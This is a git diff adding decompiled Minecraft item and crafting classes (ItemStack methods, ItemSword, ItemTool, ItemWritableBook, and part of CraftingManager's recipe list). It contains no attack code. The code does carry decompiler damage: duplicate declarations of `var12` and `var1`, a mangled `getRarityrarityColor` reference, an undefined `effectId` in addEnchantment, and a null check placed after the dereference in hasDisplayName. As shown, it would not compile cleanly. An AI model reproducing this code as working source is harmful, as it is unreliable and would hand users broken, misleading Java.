+      }
+    }
+    
+    return var1;
+  }
+  
+  public ItemStack setStackDisplayName(String p_151001_1_)
+  {
+    if (stackTagCompound == null)
+    {
+      stackTagCompound = new NBTTagCompound();
+    }
+    
+    if (!stackTagCompound.hasKey("display", 10))
+    {
+      stackTagCompound.setTag("display", new NBTTagCompound());
+    }
+    
+    stackTagCompound.getCompoundTag("display").setString("Name", p_151001_1_);
+    return this;
+  }
+  
+
+
+
+  public void clearCustomName()
+  {
+    if (stackTagCompound != null)
+    {
+      if (stackTagCompound.hasKey("display", 10))
+      {
+        NBTTagCompound var1 = stackTagCompound.getCompoundTag("display");
+        var1.removeTag("Name");
+        
+        if (var1.hasNoTags())
+        {
+          stackTagCompound.removeTag("display");
+          
+          if (stackTagCompound.hasNoTags())
+          {
+            setTagCompound(null);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean hasDisplayName()
+  {
+    return !stackTagCompound.hasKey("display", 10) ? false : stackTagCompound == null ? false : stackTagCompound.getCompoundTag("display").hasKey("Name", 8);
+  }
+  
+
+
+
+
+
+  public List getTooltip(EntityPlayer playerIn, boolean advanced)
+  {
+    ArrayList var3 = com.google.common.collect.Lists.newArrayList();
+    String var4 = getDisplayName();
+    
+    if (hasDisplayName())
+    {
+      var4 = EnumChatFormatting.ITALIC + var4;
+    }
+    
+    var4 = var4 + EnumChatFormatting.RESET;
+    
+    if (advanced)
+    {
+      String var5 = "";
+      
+      if (var4.length() > 0)
+      {
+        var4 = var4 + " (";
+        var5 = ")";
+      }
+      
+      int var6 = Item.getIdFromItem(item);
+      
+      if (getHasSubtypes())
+      {
+        var4 = var4 + String.format("#%04d/%d%s", new Object[] { Integer.valueOf(var6), Integer.valueOf(itemDamage), var5 });
+      }
+      else
+      {
+        var4 = var4 + String.format("#%04d%s", new Object[] { Integer.valueOf(var6), var5 });
+      }
+    }
+    else if ((!hasDisplayName()) && (item == net.minecraft.init.Items.filled_map))
+    {
+      var4 = var4 + " #" + itemDamage;
+    }
+    
+    var3.add(var4);
+    int var14 = 0;
+    
+    if ((hasTagCompound()) && (stackTagCompound.hasKey("HideFlags", 99)))
+    {
+      var14 = stackTagCompound.getInteger("HideFlags");
+    }
+    
+    if ((var14 & 0x20) == 0)
+    {
+      item.addInformation(this, playerIn, var3, advanced);
+    }
+    
+
+
+
+    if (hasTagCompound())
+    {
+      if ((var14 & 0x1) == 0)
+      {
+        NBTTagList var15 = getEnchantmentTagList();
+        
+        if (var15 != null)
+        {
+          for (int var7 = 0; var7 < var15.tagCount(); var7++)
+          {
+            short var8 = var15.getCompoundTagAt(var7).getShort("id");
+            short var9 = var15.getCompoundTagAt(var7).getShort("lvl");
+            
+            if (Enchantment.func_180306_c(var8) != null)
+            {
+              var3.add(Enchantment.func_180306_c(var8).getTranslatedName(var9));
+            }
+          }
+        }
+      }
+      
+      if (stackTagCompound.hasKey("display", 10))
+      {
+        NBTTagCompound var16 = stackTagCompound.getCompoundTag("display");
+        
+        if (var16.hasKey("color", 3))
+        {
+          if (advanced)
+          {
+            var3.add("Color: #" + Integer.toHexString(var16.getInteger("color")).toUpperCase());
+          }
+          else
+          {
+            var3.add(EnumChatFormatting.ITALIC + StatCollector.translateToLocal("item.dyed"));
+          }
+        }
+        
+        if (var16.getTagType("Lore") == 9)
+        {
+          NBTTagList var18 = var16.getTagList("Lore", 8);
+          
+          if (var18.tagCount() > 0)
+          {
+            for (int var20 = 0; var20 < var18.tagCount(); var20++)
+            {
+              var3.add(EnumChatFormatting.DARK_PURPLE + EnumChatFormatting.ITALIC + var18.getStringTagAt(var20));
+            }
+          }
+        }
+      }
+    }
+    
+    Multimap var17 = getAttributeModifiers();
+    
+    if ((!var17.isEmpty()) && ((var14 & 0x2) == 0))
+    {
+      var3.add("");
+      Iterator var19 = var17.entries().iterator();
+      
+      while (var19.hasNext())
+      {
+        Map.Entry var21 = (Map.Entry)var19.next();
+        AttributeModifier var22 = (AttributeModifier)var21.getValue();
+        double var10 = var22.getAmount();
+        
+        if (var22.getID() == Item.itemModifierUUID)
+        {
+          var10 += EnchantmentHelper.func_152377_a(this, EnumCreatureAttribute.UNDEFINED);
+        }
+        
+        double var12;
+        double var12;
+        if ((var22.getOperation() != 1) && (var22.getOperation() != 2))
+        {
+          var12 = var10;
+        }
+        else
+        {
+          var12 = var10 * 100.0D;
+        }
+        
+        if (var10 > 0.0D)
+        {
+          var3.add(EnumChatFormatting.BLUE + StatCollector.translateToLocalFormatted(new StringBuilder("attribute.modifier.plus.").append(var22.getOperation()).toString(), new Object[] { DECIMALFORMAT.format(var12), StatCollector.translateToLocal("attribute.name." + (String)var21.getKey()) }));
+        }
+        else if (var10 < 0.0D)
+        {
+          var12 *= -1.0D;
+          var3.add(EnumChatFormatting.RED + StatCollector.translateToLocalFormatted(new StringBuilder("attribute.modifier.take.").append(var22.getOperation()).toString(), new Object[] { DECIMALFORMAT.format(var12), StatCollector.translateToLocal("attribute.name." + (String)var21.getKey()) }));
+        }
+      }
+    }
+    
+    if ((hasTagCompound()) && (getTagCompound().getBoolean("Unbreakable")) && ((var14 & 0x4) == 0))
+    {
+      var3.add(EnumChatFormatting.BLUE + StatCollector.translateToLocal("item.unbreakable"));
+    }
+    
+
+
+    if ((hasTagCompound()) && (stackTagCompound.hasKey("CanDestroy", 9)) && ((var14 & 0x8) == 0))
+    {
+      NBTTagList var18 = stackTagCompound.getTagList("CanDestroy", 8);
+      
+      if (var18.tagCount() > 0)
+      {
+        var3.add("");
+        var3.add(EnumChatFormatting.GRAY + StatCollector.translateToLocal("item.canBreak"));
+        
+        for (int var20 = 0; var20 < var18.tagCount(); var20++)
+        {
+          Block var23 = Block.getBlockFromName(var18.getStringTagAt(var20));
+          
+          if (var23 != null)
+          {
+            var3.add(EnumChatFormatting.DARK_GRAY + var23.getLocalizedName());
+          }
+          else
+          {
+            var3.add(EnumChatFormatting.DARK_GRAY + "missingno");
+          }
+        }
+      }
+    }
+    
+    if ((hasTagCompound()) && (stackTagCompound.hasKey("CanPlaceOn", 9)) && ((var14 & 0x10) == 0))
+    {
+      NBTTagList var18 = stackTagCompound.getTagList("CanPlaceOn", 8);
+      
+      if (var18.tagCount() > 0)
+      {
+        var3.add("");
+        var3.add(EnumChatFormatting.GRAY + StatCollector.translateToLocal("item.canPlace"));
+        
+        for (int var20 = 0; var20 < var18.tagCount(); var20++)
+        {
+          Block var23 = Block.getBlockFromName(var18.getStringTagAt(var20));
+          
+          if (var23 != null)
+          {
+            var3.add(EnumChatFormatting.DARK_GRAY + var23.getLocalizedName());
+          }
+          else
+          {
+            var3.add(EnumChatFormatting.DARK_GRAY + "missingno");
+          }
+        }
+      }
+    }
+    
+    if (advanced)
+    {
+      if (isItemDamaged())
+      {
+        var3.add("Durability: " + (getMaxDamage() - getItemDamage()) + " / " + getMaxDamage());
+      }
+      
+      var3.add(EnumChatFormatting.DARK_GRAY + ((ResourceLocation)Item.itemRegistry.getNameForObject(item)).toString());
+      
+      if (hasTagCompound())
+      {
+        var3.add(EnumChatFormatting.DARK_GRAY + "NBT: " + getTagCompound().getKeySet().size() + " tag(s)");
+      }
+    }
+    
+    return var3;
+  }
+  
+  public boolean hasEffect()
+  {
+    return getItem().hasEffect(this);
+  }
+  
+  public EnumRarity getRarity()
+  {
+    return getItem().getRarity(this);
+  }
+  
+
+
+
+  public boolean isItemEnchantable()
+  {
+    return getItem().isItemTool(this);
+  }
+  
+
+
+
+  public void addEnchantment(Enchantment ench, int level)
+  {
+    if (stackTagCompound == null)
+    {
+      setTagCompound(new NBTTagCompound());
+    }
+    
+    if (!stackTagCompound.hasKey("ench", 9))
+    {
+      stackTagCompound.setTag("ench", new NBTTagList());
+    }
+    
+    NBTTagList var3 = stackTagCompound.getTagList("ench", 10);
+    NBTTagCompound var4 = new NBTTagCompound();
+    var4.setShort("id", (short)effectId);
+    var4.setShort("lvl", (short)(byte)level);
+    var3.appendTag(var4);
+  }
+  
+
+
+
+  public boolean isItemEnchanted()
+  {
+    return (stackTagCompound != null) && (stackTagCompound.hasKey("ench", 9));
+  }
+  
+  public void setTagInfo(String key, NBTBase value)
+  {
+    if (stackTagCompound == null)
+    {
+      setTagCompound(new NBTTagCompound());
+    }
+    
+    stackTagCompound.setTag(key, value);
+  }
+  
+  public boolean canEditBlocks()
+  {
+    return getItem().canItemEditBlocks();
+  }
+  
+
+
+
+  public boolean isOnItemFrame()
+  {
+    return itemFrame != null;
+  }
+  
+
+
+
+  public void setItemFrame(EntityItemFrame frame)
+  {
+    itemFrame = frame;
+  }
+  
+
+
+
+  public EntityItemFrame getItemFrame()
+  {
+    return itemFrame;
+  }
+  
+
+
+
+  public int getRepairCost()
+  {
+    return (hasTagCompound()) && (stackTagCompound.hasKey("RepairCost", 3)) ? stackTagCompound.getInteger("RepairCost") : 0;
+  }
+  
+
+
+
+  public void setRepairCost(int cost)
+  {
+    if (!hasTagCompound())
+    {
+      stackTagCompound = new NBTTagCompound();
+    }
+    
+    stackTagCompound.setInteger("RepairCost", cost);
+  }
+  
+
+
+
+  public Multimap getAttributeModifiers()
+  {
+    Object var1;
+    
+
+    if ((hasTagCompound()) && (stackTagCompound.hasKey("AttributeModifiers", 9)))
+    {
+      Object var1 = com.google.common.collect.HashMultimap.create();
+      NBTTagList var2 = stackTagCompound.getTagList("AttributeModifiers", 10);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+        AttributeModifier var5 = SharedMonsterAttributes.readAttributeModifierFromNBT(var4);
+        
+        if ((var5 != null) && (var5.getID().getLeastSignificantBits() != 0L) && (var5.getID().getMostSignificantBits() != 0L))
+        {
+          ((Multimap)var1).put(var4.getString("AttributeName"), var5);
+        }
+      }
+    }
+    else
+    {
+      var1 = getItem().getItemAttributeModifiers();
+    }
+    
+    return (Multimap)var1;
+  }
+  
+  public void setItem(Item p_150996_1_)
+  {
+    item = p_150996_1_;
+  }
+  
+
+
+
+  public IChatComponent getChatComponent()
+  {
+    ChatComponentText var1 = new ChatComponentText(getDisplayName());
+    
+    if (hasDisplayName())
+    {
+      var1.getChatStyle().setItalic(Boolean.valueOf(true));
+    }
+    
+    IChatComponent var2 = new ChatComponentText("[").appendSibling(var1).appendText("]");
+    
+    if (item != null)
+    {
+      NBTTagCompound var3 = new NBTTagCompound();
+      writeToNBT(var3);
+      var2.getChatStyle().setChatHoverEvent(new net.minecraft.event.HoverEvent(net.minecraft.event.HoverEvent.Action.SHOW_ITEM, new ChatComponentText(var3.toString())));
+      var2.getChatStyle().setColor(getRarityrarityColor);
+    }
+    
+    return var2;
+  }
+  
+  public boolean canDestroy(Block blockIn)
+  {
+    if (blockIn == canDestroyCacheBlock)
+    {
+      return canDestroyCacheResult;
+    }
+    
+
+    canDestroyCacheBlock = blockIn;
+    
+    if ((hasTagCompound()) && (stackTagCompound.hasKey("CanDestroy", 9)))
+    {
+      NBTTagList var2 = stackTagCompound.getTagList("CanDestroy", 8);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        Block var4 = Block.getBlockFromName(var2.getStringTagAt(var3));
+        
+        if (var4 == blockIn)
+        {
+          canDestroyCacheResult = true;
+          return true;
+        }
+      }
+    }
+    
+    canDestroyCacheResult = false;
+    return false;
+  }
+  
+
+  public boolean canPlaceOn(Block blockIn)
+  {
+    if (blockIn == canPlaceOnCacheBlock)
+    {
+      return canPlaceOnCacheResult;
+    }
+    
+
+    canPlaceOnCacheBlock = blockIn;
+    
+    if ((hasTagCompound()) && (stackTagCompound.hasKey("CanPlaceOn", 9)))
+    {
+      NBTTagList var2 = stackTagCompound.getTagList("CanPlaceOn", 8);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        Block var4 = Block.getBlockFromName(var2.getStringTagAt(var3));
+        
+        if (var4 == blockIn)
+        {
+          canPlaceOnCacheResult = true;
+          return true;
+        }
+      }
+    }
+    
+    canPlaceOnCacheResult = false;
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSword.java b/src/minecraft/net/minecraft/item/ItemSword.java
new file mode 100644
index 0000000..7d54838
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSword.java
@@ -0,0 +1,149 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Multimap;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class ItemSword extends Item
+{
+  private float field_150934_a;
+  private final Item.ToolMaterial repairMaterial;
+  private static final String __OBFID = "CL_00000072";
+  
+  public ItemSword(Item.ToolMaterial p_i45356_1_)
+  {
+    repairMaterial = p_i45356_1_;
+    maxStackSize = 1;
+    setMaxDamage(p_i45356_1_.getMaxUses());
+    setCreativeTab(CreativeTabs.tabCombat);
+    field_150934_a = (4.0F + p_i45356_1_.getDamageVsEntity());
+  }
+  
+  public float func_150931_i() {
+    return repairMaterial.getDamageVsEntity();
+  }
+  
+  public float getStrVsBlock(ItemStack stack, Block p_150893_2_) {
+    if (p_150893_2_ == Blocks.web) {
+      return 15.0F;
+    }
+    Material var3 = p_150893_2_.getMaterial();
+    return (var3 != Material.plants) && (var3 != Material.vine) && (var3 != Material.coral) && (var3 != Material.leaves) && 
+      (var3 != Material.gourd) ? 1.0F : 1.5F;
+  }
+  
+
+
+
+
+
+
+
+  public boolean hitEntity(ItemStack stack, EntityLivingBase target, EntityLivingBase attacker)
+  {
+    stack.damageItem(1, attacker);
+    return true;
+  }
+  
+  public float getAttackDamage()
+  {
+    return field_150934_a;
+  }
+  
+
+
+
+
+
+  public boolean onBlockDestroyed(ItemStack stack, World worldIn, Block blockIn, BlockPos pos, EntityLivingBase playerIn)
+  {
+    if (blockIn.getBlockHardness(worldIn, pos) != 0.0D) {
+      stack.damageItem(2, playerIn);
+    }
+    
+    return true;
+  }
+  
+
+
+  public boolean isFull3D()
+  {
+    return true;
+  }
+  
+
+
+
+  public EnumAction getItemUseAction(ItemStack stack)
+  {
+    return EnumAction.BLOCK;
+  }
+  
+
+
+  public int getMaxItemUseDuration(ItemStack stack)
+  {
+    return 72000;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    playerIn.setItemInUse(itemStackIn, getMaxItemUseDuration(itemStackIn));
+    return itemStackIn;
+  }
+  
+
+
+  public boolean canHarvestBlock(Block blockIn)
+  {
+    return blockIn == Blocks.web;
+  }
+  
+
+
+
+  public int getItemEnchantability()
+  {
+    return repairMaterial.getEnchantability();
+  }
+  
+
+
+  public String getToolMaterialName()
+  {
+    return repairMaterial.toString();
+  }
+  
+
+
+
+
+
+
+  public boolean getIsRepairable(ItemStack toRepair, ItemStack repair)
+  {
+    return repairMaterial.getBaseItemForRepair() == repair.getItem() ? true : 
+      super.getIsRepairable(toRepair, repair);
+  }
+  
+
+
+
+  public Multimap getItemAttributeModifiers()
+  {
+    Multimap var1 = super.getItemAttributeModifiers();
+    var1.put(net.minecraft.entity.SharedMonsterAttributes.attackDamage.getAttributeUnlocalizedName(), 
+      new AttributeModifier(itemModifierUUID, "Weapon modifier", field_150934_a, 0));
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemTool.java b/src/minecraft/net/minecraft/item/ItemTool.java
new file mode 100644
index 0000000..cb25a04
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemTool.java
@@ -0,0 +1,116 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Multimap;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class ItemTool extends Item
+{
+  private Set effectiveBlocksTool;
+  protected float efficiencyOnProperMaterial = 4.0F;
+  
+  private float damageVsEntity;
+  
+  public Item.ToolMaterial toolMaterial;
+  
+  private static final String __OBFID = "CL_00000019";
+  
+
+  protected ItemTool(float p_i45333_1_, Item.ToolMaterial p_i45333_2_, Set p_i45333_3_)
+  {
+    toolMaterial = p_i45333_2_;
+    effectiveBlocksTool = p_i45333_3_;
+    maxStackSize = 1;
+    setMaxDamage(p_i45333_2_.getMaxUses());
+    efficiencyOnProperMaterial = p_i45333_2_.getEfficiencyOnProperMaterial();
+    damageVsEntity = (p_i45333_1_ + p_i45333_2_.getDamageVsEntity());
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+  public float getStrVsBlock(ItemStack stack, Block p_150893_2_)
+  {
+    return effectiveBlocksTool.contains(p_150893_2_) ? efficiencyOnProperMaterial : 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public boolean hitEntity(ItemStack stack, EntityLivingBase target, EntityLivingBase attacker)
+  {
+    stack.damageItem(2, attacker);
+    return true;
+  }
+  
+
+
+
+  public boolean onBlockDestroyed(ItemStack stack, World worldIn, Block blockIn, BlockPos pos, EntityLivingBase playerIn)
+  {
+    if (blockIn.getBlockHardness(worldIn, pos) != 0.0D)
+    {
+      stack.damageItem(1, playerIn);
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public boolean isFull3D()
+  {
+    return true;
+  }
+  
+  public Item.ToolMaterial getToolMaterial()
+  {
+    return toolMaterial;
+  }
+  
+
+
+
+  public int getItemEnchantability()
+  {
+    return toolMaterial.getEnchantability();
+  }
+  
+
+
+
+  public String getToolMaterialName()
+  {
+    return toolMaterial.toString();
+  }
+  
+
+
+
+
+
+
+  public boolean getIsRepairable(ItemStack toRepair, ItemStack repair)
+  {
+    return toolMaterial.getBaseItemForRepair() == repair.getItem() ? true : super.getIsRepairable(toRepair, repair);
+  }
+  
+
+
+
+  public Multimap getItemAttributeModifiers()
+  {
+    Multimap var1 = super.getItemAttributeModifiers();
+    var1.put(net.minecraft.entity.SharedMonsterAttributes.attackDamage.getAttributeUnlocalizedName(), new AttributeModifier(itemModifierUUID, "Tool modifier", damageVsEntity, 0));
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemWritableBook.java b/src/minecraft/net/minecraft/item/ItemWritableBook.java
new file mode 100644
index 0000000..ef3b68e
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemWritableBook.java
@@ -0,0 +1,62 @@
+package net.minecraft.item;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.world.World;
+
+public class ItemWritableBook
+  extends Item
+{
+  private static final String __OBFID = "CL_00000076";
+  
+  public ItemWritableBook()
+  {
+    setMaxStackSize(1);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    playerIn.displayGUIBook(itemStackIn);
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+  
+
+
+
+  public static boolean validBookPageTagContents(NBTTagCompound p_150930_0_)
+  {
+    if (p_150930_0_ == null)
+    {
+      return false;
+    }
+    if (!p_150930_0_.hasKey("pages", 9))
+    {
+      return false;
+    }
+    
+
+    NBTTagList var1 = p_150930_0_.getTagList("pages", 8);
+    
+    for (int var2 = 0; var2 < var1.tagCount(); var2++)
+    {
+      String var3 = var1.getStringTagAt(var2);
+      
+      if (var3 == null)
+      {
+        return false;
+      }
+      
+      if (var3.length() > 32767)
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/CraftingManager.java b/src/minecraft/net/minecraft/item/crafting/CraftingManager.java
new file mode 100644
index 0000000..3198c9d
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/CraftingManager.java
@@ -0,0 +1,367 @@
+package net.minecraft.item.crafting;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.BlockStone.EnumType;
+import net.minecraft.block.BlockStoneSlab.EnumType;
+import net.minecraft.block.BlockStoneSlabNew.EnumType;
+import net.minecraft.block.BlockWall.EnumType;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+
+public class CraftingManager
+{
+  private static final CraftingManager instance = new CraftingManager();
+  
+
+  private final List recipes = Lists.newArrayList();
+  
+
+  private static final String __OBFID = "CL_00000090";
+  
+
+  public static CraftingManager getInstance()
+  {
+    return instance;
+  }
+  
+  private CraftingManager()
+  {
+    new RecipesTools().addRecipes(this);
+    new RecipesWeapons().addRecipes(this);
+    new RecipesIngots().addRecipes(this);
+    new RecipesFood().addRecipes(this);
+    new RecipesCrafting().addRecipes(this);
+    new RecipesArmor().addRecipes(this);
+    new RecipesDyes().addRecipes(this);
+    recipes.add(new RecipesArmorDyes());
+    recipes.add(new RecipeBookCloning());
+    recipes.add(new RecipesMapCloning());
+    recipes.add(new RecipesMapExtending());
+    recipes.add(new RecipeFireworks());
+    recipes.add(new RecipeRepairItem());
+    new RecipesBanners().func_179534_a(this);
+    addRecipe(new ItemStack(Items.paper, 3), new Object[] { "###", Character.valueOf('#'), Items.reeds });
+    addShapelessRecipe(new ItemStack(Items.book, 1), new Object[] { Items.paper, Items.paper, Items.paper, Items.leather });
+    addShapelessRecipe(new ItemStack(Items.writable_book, 1), new Object[] { Items.book, new ItemStack(Items.dye, 1, EnumDyeColor.BLACK.getDyeColorDamage()), Items.feather });
+    addRecipe(new ItemStack(Blocks.oak_fence, 3), new Object[] { "W#W", "W#W", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.birch_fence, 3), new Object[] { "W#W", "W#W", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.spruce_fence, 3), new Object[] { "W#W", "W#W", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.jungle_fence, 3), new Object[] { "W#W", "W#W", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.acacia_fence, 3), new Object[] { "W#W", "W#W", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.ACACIA.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.dark_oak_fence, 3), new Object[] { "W#W", "W#W", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.cobblestone_wall, 6, BlockWall.EnumType.NORMAL.func_176657_a()), new Object[] { "###", "###", Character.valueOf('#'), Blocks.cobblestone });
+    addRecipe(new ItemStack(Blocks.cobblestone_wall, 6, BlockWall.EnumType.MOSSY.func_176657_a()), new Object[] { "###", "###", Character.valueOf('#'), Blocks.mossy_cobblestone });
+    addRecipe(new ItemStack(Blocks.nether_brick_fence, 6), new Object[] { "###", "###", Character.valueOf('#'), Blocks.nether_brick });
+    addRecipe(new ItemStack(Blocks.oak_fence_gate, 1), new Object[] { "#W#", "#W#", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.birch_fence_gate, 1), new Object[] { "#W#", "#W#", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.spruce_fence_gate, 1), new Object[] { "#W#", "#W#", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.jungle_fence_gate, 1), new Object[] { "#W#", "#W#", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.acacia_fence_gate, 1), new Object[] { "#W#", "#W#", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.ACACIA.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.dark_oak_fence_gate, 1), new Object[] { "#W#", "#W#", Character.valueOf('#'), Items.stick, Character.valueOf('W'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.jukebox, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Blocks.planks, Character.valueOf('X'), Items.diamond });
+    addRecipe(new ItemStack(Items.lead, 2), new Object[] { "~~ ", "~O ", "  ~", Character.valueOf('~'), Items.string, Character.valueOf('O'), Items.slime_ball });
+    addRecipe(new ItemStack(Blocks.noteblock, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Blocks.planks, Character.valueOf('X'), Items.redstone });
+    addRecipe(new ItemStack(Blocks.bookshelf, 1), new Object[] { "###", "XXX", "###", Character.valueOf('#'), Blocks.planks, Character.valueOf('X'), Items.book });
+    addRecipe(new ItemStack(Blocks.snow, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.snowball });
+    addRecipe(new ItemStack(Blocks.snow_layer, 6), new Object[] { "###", Character.valueOf('#'), Blocks.snow });
+    addRecipe(new ItemStack(Blocks.clay, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.clay_ball });
+    addRecipe(new ItemStack(Blocks.brick_block, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.brick });
+    addRecipe(new ItemStack(Blocks.glowstone, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.glowstone_dust });
+    addRecipe(new ItemStack(Blocks.quartz_block, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.quartz });
+    addRecipe(new ItemStack(Blocks.wool, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.string });
+    addRecipe(new ItemStack(Blocks.tnt, 1), new Object[] { "X#X", "#X#", "X#X", Character.valueOf('X'), Items.gunpowder, Character.valueOf('#'), Blocks.sand });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.COBBLESTONE.func_176624_a()), new Object[] { "###", Character.valueOf('#'), Blocks.cobblestone });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.STONE.func_176624_a()), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.stone, BlockStone.EnumType.STONE.getMetaFromState()) });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.SAND.func_176624_a()), new Object[] { "###", Character.valueOf('#'), Blocks.sandstone });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.BRICK.func_176624_a()), new Object[] { "###", Character.valueOf('#'), Blocks.brick_block });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()), new Object[] { "###", Character.valueOf('#'), Blocks.stonebrick });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.NETHERBRICK.func_176624_a()), new Object[] { "###", Character.valueOf('#'), Blocks.nether_brick });
+    addRecipe(new ItemStack(Blocks.stone_slab, 6, BlockStoneSlab.EnumType.QUARTZ.func_176624_a()), new Object[] { "###", Character.valueOf('#'), Blocks.quartz_block });
+    addRecipe(new ItemStack(Blocks.stone_slab2, 6, BlockStoneSlabNew.EnumType.RED_SANDSTONE.func_176915_a()), new Object[] { "###", Character.valueOf('#'), Blocks.red_sandstone });
+    addRecipe(new ItemStack(Blocks.wooden_slab, 6, 0), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.wooden_slab, 6, BlockPlanks.EnumType.BIRCH.func_176839_a()), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.wooden_slab, 6, BlockPlanks.EnumType.SPRUCE.func_176839_a()), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.wooden_slab, 6, BlockPlanks.EnumType.JUNGLE.func_176839_a()), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()) });
